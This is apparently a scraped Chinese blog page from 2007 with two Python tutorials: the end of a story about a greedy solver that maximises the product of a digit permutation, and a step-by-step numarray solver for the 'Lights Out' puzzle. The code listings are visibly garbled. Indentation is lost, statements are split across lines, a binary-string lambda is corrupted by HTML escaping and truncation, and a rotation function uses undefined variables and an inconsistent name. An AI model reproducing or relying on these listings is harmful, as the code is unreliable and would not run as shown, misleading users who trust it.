  粗看的话 e 的页献要大一些, 但因为我们把 9 配给了 d 而 8 配给了 a, 因此最终的结果是 b 的实际页献要比 e 大. 由於 e 和 b 的基数只相差在 e * c 这个个位数乘积上, d 和 a 之间的分配结果把这个小的差异覆盖掉了.
  你考虑著: "要把这样的覆盖也算上去的话, 也许可以做一个二阶基数. 如 b * d 的基数是 100, 但是由於 d 的基数为 9, 那 b 的二阶基数可以算成 9, 代表和 b 相关的是一个较为重要的数; 同样 e * a 的基数是也是 100 但由於 a 的基数只是 7, 因此 e 的二阶基数只是 7 而已. 这样就可以得出 b 要比 e 更重要了."
  於是你有了一个想法: 先写出相关矩阵, 然后计算每个数的基数和二阶基数, 再进行排序, 当两个基数很接近时就用二阶基数来判别哪个较重要. 嗯, 你觉得自己聪明极了, 於是开始验算, 但很快又发现其实 b 和 e 的二阶基数原来也是一样的!! 大家都是 15. 也许我们要用一个三阶基数才能分辨他们.
  你又想了一些新的二阶基数的定义, 有些的确给出正确的答案, 但你渐渐觉得这一切并不很妥当. 因为就算能计出 56789, 但是在更多的排列, 如 7 位数甚至 9 位数的排列你怎样保证答案也一定准确呢, 而两个基数到底怎样才算是比较接近呢? 仔细审视你的方法, 用对数来表示乃至直接相加来求所谓的基数统统都是即兴的, 毫不严谨. 或者要真正解决他们必需要把每一种情况都算进来, 而那样做的话必然要计算 n! 那么多次! 说到底还是要算排列的.
  你有些失望, 但暗中觉得松了一口气, 因为到底是 permute7.py 得到最后的胜利. 你伸了一下懒腰, 原来天都快亮了. 这时你感到有些饿, 便去拿了半个凉馒头, 冲了一些可可. 你对著空空的萤光屏, 静静地坐了大概十分钟, 然后答案进入你的脑海, 谜团被解开了.
  你的方法是求出所有位置的"重要性"(用你的语言就是求基数), 然后依次把最大的数字分配给最重要的位置. 但是位置的重要性是和其他位置纠缠在一起的, 因此一次过算出所有位置的重要性必须考虑大量不同的组合排列, 并不实际.
  但是, 我们其实可以每次只求第一个最大的基数的位置 (abc*de 的情况下最大的基数是 d), 这个最大的基数是没有争议的. 当求得这个位置时, 干脆把最大的数字放到该位子上, 然后再求一次基数, 找出接下来最大的位子, 这个位子也是无可争议的. 如此一来, 原来求 5 个数字的全排列成就简化为 5 次简单的回圈. 一个求 Factorial(n) 的问题变成了 n 次循环!
  啊哈!
  你精神大好, 从另一个角度切入:
  假如 5 个数字一样, 11111, 最大的乘积只能是 111 * 11, 现在容许改大一个数, 改哪个会使结果最大 ?
  211 * 11, 121 * 11, 112 * 11, 111 * 21, 111 * 12 ? 答案是 111 * 21, 也就是 d 的位置. 好, 把 d 替换成 9.
  问题变成 5 个数字, 111 * 91, 改一个数(除了 9), 改哪一个 ?
  211 * 91, 121 * 91, 112 * 91, 111 * 19 ? 答案是 211 * 91, 也就是 a 的位置. 好, 替换成 8.
  依此类推, 答案正正是 875 * 96.
  你重开电脑, 很快地把新方法输入程式, 并改名为 wise.py.
   def solve(seq,where):
n
= len(seq)
seq.sort()
seq.reverse()
table
= [ [] for i in range(n) ]
left, right
= where, n - where
leftr
= long('1'*left)
rightr
= long('1'*right)
flag
=[]
for item in [ int(x) for x in seq]:
for i in range(left):
table[left
-i-1] = (leftr + 10**i) * rightr
for i in range(right):
table[right
-i+where-1] = leftr * (rightr + 10**i)
for i in flag:
table[i]
= 0
tablesorted
= table[:]
tablesorted.sort()
maxindex
= table.index(tablesorted[-1])
if maxindex >= where:
rightr
= rightr + (item-1) * 10**(right-maxindex+where-1)
else:
leftr
= leftr + (item-1) * 10**(left-maxindex-1)
flag.append(maxindex)
#print maxindex, leftr, rightr
return leftr, rightr

import sys
leftr, rightr
= solve(list(sys.argv[1]),int(sys.argv[2]))
print "Maximum at", leftr,rightr, ',product', leftr*rightr

  你验算了一下结果, 完全正确! 这时你好奇地再次 time 了一下程式的速度

$time python permute7.py 123456789 5
Got 181440 items.
Maximum at 875319642 ,product 843973902

real 0m7.827s
user 0m7.650s
sys 0m0.180s

$ time python wise2.py 123456789 5
Maximum at 87531 9642 ,product 843973902

real 0m0.042s
user 0m0.010s
sys 0m0.030s

  哇! 快了近两百倍! 当然了. 如果算更多位的排列会快更多, 因为 wise.py 跳离了 n! 的限制.
  你现在觉得舒服多了. 你真的解了这个问题. 你不再怕有人会写出更快 10 倍的程式了. 你既有了"聪明"的答案 (软解) 来对付阿凡提和他的驴子, 而在硬解方面, 你也自信有世界第一流的排列产生器. 你完全满足了, 你不再感到疲累, 心中疑犹一扫而空. 这时你身体感到一阵震栗但心中却喜乐无穷, 你第一次感受到了编程之道的洗礼. 并且, 你学会了所有程式大师都有的态度: 我没法用中文来形容, 这种态度叫做 "to hack". 你知道只要你熟练并保持这种态度来面对生命中的难题, 你很快就可以满师出山了.
  你最后一次浏览了一下你的程式码, 发现在 wise.py 中, 其实每一个循环完成后, 最重要的位置和最次要的位子都是不容争议的, 因此大可放心地替换两个数字而不是一个, 那程式可以再快一倍. 不过你觉得现在己经很够了, 你颇有禅机地自言自语道: "我已经找到明月,再纠缠只下去只是妄执於指月的手而已." 你熟练地登出系统并关上电脑, 你知道这次你可以真正安心地睡一觉了.
  哎哟! 天已亮了, 今天是礼拜一, 你要上班的. 喔! 又要被老板说上班一条虫, 下班一条龙...... 惨.......

全篇完.

课后检讨:

一) 在上面的故事中,我们看到了解决编程问题的五个方法.
1. 把问题规范成一个普遍的形式,这样更容易和别人交流以及找相关资料.
2. 自己尝试找答案.
3. 在网上搜寻更好的答案.
4. 想一个方法来打败这个更好的答案.
5. 翻查教科书或是文献,从基本开始思考有没有最好的解.这些书能被选成教本一定有它的原因.
6. 研究问题的特殊情况, 也许会有别出心裁的巧妙方法.
二) 故事中每个程式都只有二三十行大小,说明 Python 语言表达力强且语意很浓缩, 做为快速开发或是测算自己的想法都是非常好的.
三) Python 程式浓缩之余,它的语言也异常的清晰.回看上面的程式,你会发现它们全都不难明白.这说明 Python 程式更加容易维护.
四) 在故事中,我们有很大的篇幅是在讨论方法而只有小部份是在描述 Python 的语言特性.这证明 Python 更适合用来教授编程的概念. 事实上, Python 的作者 Guido 和很多人都认为 Python 是电脑教育的首选语言. 教师可以让学生静静地思考,学通运算的法则; 而不是上来就疯狂地敲打键盘,并要记住一大堆电脑语言的古怪特徵.
五) 整个故事围绕於算法的改进而较少碰到 Python 程式的优化问题. 也许在续集中(如果有的话), 我们要尝试一下在固定的算法及尽量少改动程式码的条件下, 提高 Python 程式的效率. 我暂时想到的方法包括:
1. 利用较新和较快的语法. 如 yield, generator.
2. 用 Python 的自带优化选项以及内建模组.
3. 用第三方的扩展模组, 如 Numpy, Scipy.
4. 用编译方式代替解释, 如 freeze, py2exe.
5. 用 JIT 类的方法, 如 Psyco.
6. 用 Thread, 在多 CPU 的机器上平行运算.
7. 最后一样要大改程式了, 用 C 来做扩展.
8. 更有 'to hack' 感觉的, 修改 Python 主干程式, 加入像 string.reverse() 这样的辅助函数.
六) 文中所用的测试硬件:

CPU: Pentium III 866 RAM: 128 MB

文中所用的测试软件:

Slackware Linux: 9.0 Linux Kernel: 2.4.2 GCC: 3.2.2 Python: 修改过的 2.1.3
七) 啃凉馒头对脑筋有帮助.
八) 如果你能想到更好的方法, 欢迎联络本人: glace_at_chinesepython.org
(本文第一次发表在 http://www.dohao.org 技术论坛)

Apr 28, 2007

让我们从游戏开始──点灯

  一次上班无聊,把同事的手机拿来打游戏,发现有个叫“点灯”的小游戏,开始不太在意,玩了一会儿以后发现非常有趣,想想很久没有写过程序了,便决定用这个来练练手。
关于游戏
  点灯游戏规则非常简单,简单到什么人都可以一学就会。但是简单的规则并不意味着游戏也简单,这恰恰就是我所喜欢的,在简单中充满变化。因为规则简单,我在这里就不多说了。
http://games.wuhan.cc/flash/flash/flash_swf/3015.swf
  这个是网上找到的,所不同的就是他在开始的时候有些灯已经点亮了。让我们简化一下,4×4的正方形,一开始所有灯都是关闭状态,我们的目的就是把所有的灯都打开。等我们把这个简化的问题解决了,在来看看这个大的问题。

一些理论
  这个游戏真是让人恼火啊,为了让程序能够解出答案,我们需要想想这个游戏到底是什么。
  也许我们应该这样看这个游戏:这16个格子是16个开关,每个开关控制着灯泡的状态。如果一个开关的状态改变,那么其所在格子与相邻格子的灯泡状态反转。这样我们就可以初始化一个4×4,全部是0的数组,表示所有开关全部是关闭的,当某一格的开关打开,我们就把这格变成1。而且我们可以发现,某一格的开关状态变化偶数次,那么灯泡的状态和最初的状态是一样的(0->1->0)。那么我们用0和1来表示开关的状态是成立的。
  好了,现在我们有个一个新的问题:如何从开关状态得到灯泡的状态?问题其实很简单,从上面我们知道,某一格的灯泡受到自己所在的格子与周围四格的影响(我们为了简单称这些格子叫“影响格”),由于一开始灯泡是关闭的,而且只有两种状态(灯亮,灯灭),所以我们可以知道:对于某一格的灯泡,如果影响格内有奇数个开关打开,这格灯泡就被点亮,反之关闭。
  天,我的文笔实在太差,写这些理论真是很痛苦,也不知道有多少人能看懂。现在我们开始写程序吧。

第一天
  对于这样的问题,我们最直接的想法就是穷举法:把所有的组合都试一次,有此来找到所有可能的解。
  那么我们怎么的到这所有的组合呢?让我们来回想一下前面理论分析的内容。所有灯的状态都用0和1来表示,如果我们把这个4×4的二维数组组合成一个0、1序列,那么我们这个得到的0、1序列的是[0, 2^16)中所有的整数.我们用如下的语句得到这个整数序列:
[x for x in xrange(2**16)]#由于数量比较大,我们没有使用range。两者之间的额区别google一下就可以了。

  现在我们把这些整数变成二进制!由于python里面没有直接的函数可以转换,所有我们要自己完成:
bstr = lambda n, l=16: n&lt;0 and binarystr((2L&lt;&gt;1).lstrip('0')+str(n&amp;1) or '0'


>>>bstr(5)
'101'

  注意一下返回的是一个字符串(这个是肯定的,想想就知道了)。zfill可以补齐我们需要的位数。那么生成序列的语句就出来了:
[bstr(x).zfill(16) for x in xrange(2**16)]

  现在我们把得到的序列变成数组。numarray是不错的选择。

>>> import numarray.strings as nastr
>>> a=nastr.array(’101010101′, itemsize=1)
>>> a
CharArray([’1′, ‘0′, ‘1′, ‘0′, ‘1′, ‘0′, ‘1′, ‘0′, ‘1′])
>>> numarray.reshape(a,3,3)
CharArray([[’1′, ‘0′, ‘1′],
[’0′, ‘1′, ‘0′],
[’1′, ‘0′, ‘1′]]))

  还要把字符转换成数字,用eval就好了。
  Hoho, 看来我们需要的东西基本已经齐全了,我们现在先把得到的东西都组合一下。得到下面的代码:
from numarray import * 
import numarray.strings
as nastr
PosSol
=[reshape(nastr.array(bstr(x).zfill(16), itemsize=1),4,4).eval() for x in xrange(2**16)]#PosSol:Possible Solutions

  当然,我们现在是限定一个4×4的情况,如果要解n×n,小小改动一下就可以了。如果你对上面的代码的结果有些怀疑,那试试2×2的情况,代码怎么修改相信你应该很清楚,看看结果吧。好了,让我们继续吧。
  现在我们有了开关状态的所有组合,那么我们就要根据这些组合计算出灯泡状态。让我们想想灯泡状态的代码要怎么写。我们用x(表示列),y(表示行)表示给定的灯泡位置,我们根据开关状态计算它是否被点亮。相信很多人的第一想法就是按照给定的x,y得到x+1,x-1,y+1,y-1这些,还要自己判断是否在给定的元素处于数组的边界……天,我不要再想这种方法了。虽然很直接,但是一点都不好。让我们在脑子里面最后想想这种充满臭味的代码,你难道忍心你的代码是这样的吗?看来我们要用其他的方法来作,至少看上去要聪明一些的方法。
  不如我们不考虑边界的问题,这样不就简单了。:)由于我们计算的是“1”的个数,所以我们把一个4×4的数组加一个由“0”组成的边框。这样就没有“出界”问题了。由于我们的数组是4×4,那么我们这么写:
tmpArray=zeros((6,6)) 
tmpArray[
1:5,1:5]=PosSol.copy()

  然后把我们需要的3×3的“抠出来”:
TxT=take(take(tmpArray, [x,x+1,x+2]),[y,y+1,y+2], axis=1)#TxT:Three X Three Square

  好了,现在我们只要去掉四个角的数,然后求和判断是不是奇数就知道灯泡是不是点亮了:
putmask(TxT,[1,0,1,0,0,0,1,0,1],0) 
value
=sum(sum(finalSquare),1)

  现在我们全部汇总就得到了游戏的解法,顺便作些小的改动就得到了n×n的算法了:
#!/usr/bin/python 
#
-*- coding: gb2312 -*-
#
Filename:first.py


from numarray import *
import numarray.strings as nastr
from bin import bstr

def light(n):
PosSol
=[reshape(nastr.array(bstr(x).zfill(n*n), itemsize=1),n,n).eval() for x in xrange(2**(n*n))]#PosSol:Possible Solutions
tmpArray=zeros((n+2,n+2))
for i in PosSol:
tmpArray[
1:n+1,1:n+1]=i.copy()
Neg
=False
for x in range(n):
if Neg:
break
for y in range(n):
if Neg:
break
TxT
=take(take(tmpArray, [x,x+1,x+2]),[y,y+1,y+2], axis=1)#TxT:Three X Three Square
putmask(TxT, [1,0,1,0,0,0,1,0,1], [0])
value
=sum(sum(TxT))
if not (value%2):#找到一个没有点亮就不用判断剩余的了
Neg=True
if not Neg:
print i
print "Total steps:%d" % sum(sum(i))

tests
= [2, 3, 4]
for xx in tests
print "solution for %d*%d" % (xx,xx)
light(xx)

太晚了,趁还没下班先把东西收拾了,下班回家睡觉。:-)

第二天
  我们完成了一个求解的程序,但是我们还不能高兴,注意到first.py最后的注释没?因为运算量太大,连5×5都完成不了(或者很难完成),就别说更大的了。看来我们还要作一些大的改进才行。
  让我们再琢磨琢磨我们的在理论分析中得到的一些信息。嗯~既然灯泡的状态之和“影响格”有关,那么是否意味着开关开启的顺序是无关的?看来我们有了一个突破口。一行一行的求解的可能性是有的,但是我们要怎么作呢?让我们先来分析一下。
  我们从上往下考虑,如果先确定了第一行的开关状态,那么能影响这一行的就只有第二行;确定了第二行以后能影响它的就只有第三行……这样类推的话,我们只要穷举第一行可能的情况,然后从下面一行开始,保证上面一行的灯泡全亮。这样循环下去,到最后一行完成的时候如果就能确定这是否是一个解。看来我们从2**(n*n)已经化简到了2*n。好~好的很。
  为了避免不停计算灯泡的状态,我们专门为灯泡状态添加一个表。有了昨天的基础,今天看来可以很快完成。:)
  首先得到得到第一行的所有组合:
PosSol = [nastr.array(bstr(x).zfill(n), itemsize=1).eval() for x in xrange(2**n)]

  嗯~让我们停下来一下。当我们得到了第一行的灯泡状态以后,我们就确定了第二行的开关状态。由于能影响第一行的只剩第二行的开关,那么我们其实只要把第一行的灯泡状态取反就得到了第二行的开关状态。对开关状态的判断也简单了,只需要对上两行的灯泡状态判断就可以了,真是比昨天的简单多了。
PosSol = [nastr.array(bstr(x).zfill(n), itemsize=1).eval() for x in xrange(2**n)] 
lightStats
=zeros((n, n))#灯泡的状态
solution=zeros((n, n))#
tmpArray=zeros((2, n+2))#用来存放每一行的开关状态
for i in PosSol:
 solution[0:
1]=i.copy()
 tmpArray[0, :]
=0
 tmpArray[
1,1:-1]=i.copy()
 
for line in range(n-1):#取n-1是因为第一行是生成的,不需要计算
  TxT = [take(tmpArray, [x, x+1, x+2], axis=1) for x in range(n)]
  [putmask(item, [
1,0,1,0,0,0], [0]) for item in TxT]#我们要由上一行得到下一行的状态
  solution[line+1:line+2, :]=[(sum(sum(item))+1)%2 for item in TxT]

  然后计算最后一行的灯泡状态得到是否是解:
def lightstats(switchstats, n): 
TxT
= [take(switchstats, [x, x+1, x+2], axis=1) for x in range(n)]
[putmask(item, [
1,0,1,0,0,0], [0]) for item in TxT]#去掉不相关的格子
return [(sum(sum(item)))%2 for item in TxT]

  好了,配件齐全,开始组装:
#!/usr/bin/python 
#
-*- coding: utf8 -*-
#
Filename:second2.py

from numarray import *
import numarray.strings as nastr
from bin import bstr

def lightstats(switchstats, n):
TxT
= [take(switchstats, [x, x+1, x+2], axis=1) for x in range(n)]
[putmask(item, [
1,0,1,0,0,0], [0]) for item in TxT]#去掉不相关的格子
return [(sum(sum(item)))%2 for item in TxT]

def light(n):
PosSol
= [nastr.array(bstr(x).zfill(n), itemsize=1).eval() for x in xrange(2**n)]
solution
=zeros((n, n))#
tmpArray=zeros((2, n+2))#用来存放每一行的开关状态
for i in PosSol:
solution[0:
1]=i.copy()
tmpArray[0, :]
=0
tmpArray[
1,1:-1]=i.copy()
for line in range(n-1):#取n-1是因为第一行是生成的,不需要计算
solution[line+1:line+2, :]=ones((1, n))-lightstats(tmpArray, n)
tmpArray[:,
1:-1]=solution[line:line+2, :]
if sum(lightstats(tmpArray, n))==n:
print solution
print "Total steps:%d" % sum(sum(solution))

tests
= [2,3,4,5,6]
for xx in tests:
print "solution for %d*%d" % (xx,xx)
light(xx)

  现在就算算10×10也不会很久啦,哈哈~~不过代码还有可以商量的地方,明天继续。

第三天
  到目前为止,我们的进展都很顺利。不过我们的代码速度还不是很快,应该还有改进的余地。
  昨天我们使用第一行生成了一个包含2^n个序列的list,我们认真看看,就会发现中间很多是对称的,比如n=3的时候100,001对称,110,011对称。按照我们的算法,这些对称的的序列最后得到的开关桩状态也是对称的,那么我们把每得到一个解,就可以把对称的第一行组合去掉。那么同理,如果第一行的某一个组合不是解,那么我们也可以把他去掉。这样不就减少了很多的循环次数啦。
  首先判断list是否对称:
def symmetric(alist):#判断list是否对称 
leng=len(alist)
le
=alist[:(leng/2)]
ri
=alist[-(leng/2):]
ri.reverse()
if le!=ri:
alist.reverse()
return alist
else:
return None

  其他的都一样,我们在昨天的基础上修改一下就好了:
def light(n): 
PosSol
= [nastr.array(bstr(x).zfill(n), itemsize=1).eval().tolist() for x in xrange(2**n)]
solution
=zeros((n, n))#
tmpArray=zeros((2, n+2))#用来存放每一行的开关状态
try:
for i in range(len(PosSol)):
i
=PosSol[i][:]
solution[0:
1]=i
tmpArray[0, :]
=0
tmpArray[
1,1:-1]=i
for line in range(n-1):#取n-1是因为第一行是生成的,不需要计算
solution[line+1:line+2, :]=ones((1, n))-lightstats(tmpArray, n)
tmpArray[:,
1:-1]=solution[line:line+2, :]
if sum(lightstats(tmpArray, n))==n:
steps
=sum(sum(solution))
print solution
print "Total steps:%d" % steps
rev
=symmetric(i)
if rev!=None:
print solution[:,::-1]
print "Total steps:%d" % steps
PosSol.remove(rev)
except:
pass

  注意for i in range(len(PosSol))这句,这个是很多初学python的人在循环上犯的错。但是我们这里这么作是有原因的。在如果直接写for i in PosSol,那么在循环体中间对PosSol的操作不会得到你想要的结果,所以我们这样避免了这样的问题。i=PosSol[i][:]是产生一个拷贝。免得对PosSol里面产生影响。
  下面就是代码:
#!/usr/bin/python 
#
-*- coding: utf8 -*-
#
Filename:third2.py

from numarray import *
import numarray.strings as nastr
from bin import bstr

def lightstats(switchstats, n):
TxT
= [take(switchstats, [x, x+1, x+2], axis=1) for x in range(n)]
[putmask(item, [
1,0,1,0,0,0], [0]) for item in TxT]#去掉不相关的格子
return [(sum(sum(item)))%2 for item in TxT]

def symmetric(alist):#判断list是否对称
leng=len(alist)
le
=alist[:(leng/2)]
ri
=alist[-(leng/2):]
ri.reverse()
if le!=ri:
alist.reverse()
return alist
else:
return None

def light(n):
PosSol
= [nastr.array(bstr(x).zfill(n), itemsize=1).eval().tolist() for x in xrange(2**n)]
solution
=zeros((n, n))#
tmpArray=zeros((2, n+2))#用来存放每一行的开关状态
try:
for i in range(len(PosSol)):
i
=PosSol[i][:]
solution[0:
1]=i
tmpArray[0, :]
=0
tmpArray[
1,1:-1]=i
for line in range(n-1):#取n-1是因为第一行是生成的,不需要计算
solution[line+1:line+2, :]=ones((1, n))-lightstats(tmpArray, n)
tmpArray[:,
1:-1]=solution[line:line+2, :]
if sum(lightstats(tmpArray, n))==n:
steps
=sum(sum(solution))
print solution
print "Total steps:%d" % steps
rev
=symmetric(i)
if rev!=None:
print solution[:,::-1]
print "Total steps:%d" % steps
PosSol.remove(rev)
except:
pass

if __name__ == "__main__":
tests
= [2,3,4,5,6,7,8,9,10]
for xx in tests:
print "solution for %d*%d" % (xx,xx)
light(xx)

  既然可以用对称得到解,那么也可以用对称排除不是解的组合:
def light(n): 
PosSol
= [nastr.array(bstr(x).zfill(n), itemsize=1).eval().tolist() for x in xrange(2**n)]
solution
=zeros((n, n))#
tmpArray=zeros((2, n+2))#用来存放每一行的开关状态
try:
for i in range(len(PosSol)):
i
=PosSol[i][:]
solution[0:
1]=i
tmpArray[0, :]
=0
tmpArray[
1,1:-1]=i
for line in range(n-1):#取n-1是因为第一行是生成的,不需要计算
solution[line+1:line+2, :]=ones((1, n))-lightstats(tmpArray, n)
tmpArray[:,
1:-1]=solution[line:line+2, :]
rev
=symmetric(i)
if sum(lightstats(tmpArray, n))==n:
steps
=sum(sum(solution))
print solution
print "Total steps:%d" % steps
if rev!=None:
print solution[:,::-1]
print "Total steps:%d" % steps
PosSol.remove(rev)
else:
if rev!=None:
PosSol.remove(rev)
except:
pass

  这是新的light函数。不过我们想想,我们可以把解进行旋转,得到的就是其他的解,但是不是解的组合不能旋转排除哦,原因嘛,想想就明白了。我们写一个旋转的函数:
def rotatearray(array): 
o
=zeros(shape(transpose(a)))
for i in range(len(a)):
b[:,i]
=a[i,::-1]
return o

  那么就是修改以后的light函数:
def light(n): 
allSolutions
=[]
PosSol
= [nastr.array(bstr(x).zfill(n), itemsize=1).eval().tolist() for x in xrange(2**n)]
solution
=zeros((n, n))#
tmpArray=zeros((2, n+2))#用来存放每一行的开关状态
try:
for i in range(len(PosSol)):
i
=PosSol[i][:]
solution[0:
1]=i
tmpArray[0, :]
=0
tmpArray[
1,1:-1]=i
for line in range(n-1):#取n-1是因为第一行是生成的,不需要计算
solution[line+1:line+2, :]=ones((1, n))-lightstats(tmpArray, n)
tmpArray[:,
1:-1]=solution[line:line+2, :]
if sum(lightstats(tmpArray, n))==n:
steps
=sum(sum(solution))
temp
=solution
for j in range(2):
for k in range(4):
temp
=rotateArray(temp)
if temp.tolist() not in allSolutions:
allSolutions.append(temp.tolist())
print temp
print "Total steps:%d" % steps
try:
PosSol.remove(temp[0, :].tolist())
except:
pass
temp
=transpose(temp)
else:
try:
PosSol.remove(rev)
except:
pass
except:
pass

我们去掉了判断对称的函数,直接使用remove,跳过错误信息。定义了allSolutions来避免重复。
现在来总测试一下我们的成果吧:

程序   n 时间
first.py 2~4 real 3m16.271s
second.py 2~10 real 2m32.655s
second2.py 2~10 real 2m38.275s
third.py 2~10 real 2m28.386s
third2.py 2~10 real 1m32.934s
third3.py 2~10 real 1m17.786s

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Powered by Blogger